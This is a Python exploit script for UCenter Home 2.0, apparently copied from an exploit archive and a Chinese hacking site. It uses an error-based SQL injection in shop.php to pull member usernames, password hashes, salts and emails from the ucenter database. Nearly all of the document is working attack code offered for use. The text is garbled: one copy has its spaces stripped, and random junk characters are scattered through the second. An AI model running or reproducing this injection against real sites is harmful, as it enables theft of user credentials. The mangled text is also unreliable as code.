#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
8 ~6 P9 ^$ r# @$ H
2 _& d9 L" I( W5 h: v" n m% l( E) L4 I+ n: N; w9 ^; U) e9 ]3 V
#!/usr/bin/env python ' m1 n$ F7 x7 `' o
; N& @& h! H* _import sys 5 f! l9 k3 y& o
import urllib2 3 M) {# M1 a. v% M. c1 c( k6 p6 h# M: m
import re 8 g" H5 Y5 ~9 I! `3 p, o* ?
+ j; z& y9 f8 f* ^ R: h
def info(): % Q/ ]& H- u! S( |6 q
print 'From:http://www.exploit-db.com/exploits/14997/' 6 W3 V4 M' I3 X8 m, Z
print 'http://www.hake.cc/Web_loudong/'
/ w0 p% R% N1 T m1 I3 q print 'changed:qiaoy'
" Z. o- f- f" F F/ s print 'exp:'
1 S {6 O: U3 v& }0 l4 j9 P print ' ./UCenter_Home_2.0.py site'
" r# K* s2 p% Q- m( e 5 Z0 x. l' e6 l; N+ I$ v2 s
def main(): 4 P1 C, b6 K; s" ?0 i, h! W( G
if len(sys.argv) != 2:
7 t: I3 t) ?6 ^ m9 R$ m info() 9 I4 R. I% A' g% t9 T$ T
else:
4 r% F7 H7 s/ ]3 {+ i9 }6 a site = sys.argv[1] % ?4 [+ Y2 u* A' U$ d5 A
if site[0:7] == 'http://':
! B- `- \/ m- ]7 v sitesite =site ; [/ P" A/ n+ O2 q. x9 N* }1 K. \
elif site[0:8] == 'https://':
4 Q% b- W* J/ D2 R6 q' p8 R. u sitesite = site
! ~) h# h# } e9 w- x2 ~4 q else:
1 y! z }" ] J) H site = 'http://'+site $ u4 q0 T0 J$ G0 X: g# {" B) Z
try: , r2 u! Q% M. H0 S$ Y- `
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' / Y& p! y4 j/ S' v {1 D& W. V) T g, t
Value = urllib2.urlopen(url).read() * w5 L" V2 g2 i# K# D0 h
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
( O$ `0 `2 g8 ~ hacked = Msg.split(':') : _, u, w' y5 `& j# N9 O
print 'Name: '+hacked[1] 8 Q9 b1 x* S2 u* A2 L* \
print 'Passwd: '+hacked[2] 5 a& b3 |5 z$ R" G! e
print 'salt: '+hacked[3]
. W& g ~6 l; I; V' `9 j print 'email: '+hacked[4] ' m* `. P) T- H- A) S6 K7 o
except: - Z+ e3 p* ~; w
print 'Sorry,I can\'t work............' ; H* u9 v, o+ R# N+ s6 T
4 v' A( {/ j# Y6 k H
if __name__ == '__main__':
8 k- O2 T$ {; n% M8 Y main() |